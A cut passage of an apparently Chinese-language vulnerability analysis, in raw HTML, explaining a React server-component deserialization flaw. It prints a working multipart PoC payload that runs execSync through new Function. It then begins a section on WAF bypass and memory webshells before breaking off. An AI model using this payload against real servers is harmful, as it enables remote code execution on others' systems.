left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">get</span></code><span leaf=""> ，那么就可能实现 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> 。根据公开 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">POC</span></code><span leaf=""> 构建如下请求：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">&#34;$@0&#34;</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">{&#34;then&#34;:&#34;$1:__proto__:then&#34;,&#34;status&#34;:&#34;resolved_model&#34;,&#34;reason&#34;:0,&#34;value&#34;:&#34;{\&#34;then\&#34;:\&#34;$B\&#34;}&#34;,&#34;_response&#34;:{&#34;_prefix&#34;:&#34;var res=process.mainModule.require(&#39;child_process&#39;).execSync(&#39;calc&#39;).toString().trim();&#34;,&#34;_formData&#34;:{&#34;get&#34;:&#34;$1:constructor:constructor&#34;}}}</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp--</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">调试获取关键的几个解析过程：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&#34;$@0&#34;</span></code><span leaf=""> - 获取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Chunk</span></code><span leaf=""> 对象：</span></p></li></ul><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008989" class="rich_pages wxw-img" data-ratio="0.20470127326150833" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=79513248&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFAumicOxI0iaWVNKwAfcsNl2UhysaYtjyqDSCyMflX2unNK7mY78Pib7Pw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$1 :__proto__: then</span></code><span leaf=""> - 迭代后最终得到一个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">then</span></code><span leaf=""> 函数，对应 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Promise</span></code><span leaf=""> 异步操作函数，相当于创建了一个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Thenable</span></code><span leaf=""> 对象 ：</span></p></li></ul><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008993" class="rich_pages wxw-img" data-ratio="0.17234664070107109" data-type="png" data-w="1027" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d9b1da7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFuia5DxaticcsHBJ80DAGzgXYwjicPC9hldrIsw9DgZicIxLXx7sXPNiappA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$1:constructor:constructor</span></code><span leaf=""> - 解析到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_response:_formData:get</span></code><span leaf=""> 时将得到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">new Function</span></code><span leaf=""> ：</span></p></li></ul><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008991" class="rich_pages wxw-img" data-ratio="0.22896281800391388" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=45f04811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFdH8No40HRj77BW1ib7vjG66okricfiaBBsia6mwDYbzrcicCy36XMiaGea1w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最终 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">response._formData.get</span></code><span leaf=""> 将被污染为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Function</span></code><span leaf=""> 对象，并进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$B</span></code><span leaf=""> 解析流程：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008994" class="rich_pages wxw-img" data-ratio="0.1504424778761062" data-type="png" data-w="1017" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=1ea224b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFHZnF0VuqwNJCuL0cap8Hm7nyU0hjHxXQR5O4wibapvd8ypMPJjgNL1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此时 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">response._formData.get</span></code><span leaf=""> 将变成 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">new Function</span></code><span leaf=""> 调用，参数为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_prefix</span></code><span leaf=""> 可控，因此可以触发任意代码执行 ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008996" class="rich_pages wxw-img" data-ratio="0.3069182389937107" data-type="png" data-w="795" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=73f07690&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icF2KGwuVbbnSHkSr3hxp2RV0lzgtJ1VNb3Amgzw4gLQFSs8n7qjIEEiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">Bypass WAF</span></h2><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">命令回显与内存马</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">需要注意的是，上面测试用的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">POC</span></code><span leaf=""> 直接打会进入阻塞状态，可以通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">throw</span></code><span leaf=""> 主动抛出异常来解决：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: 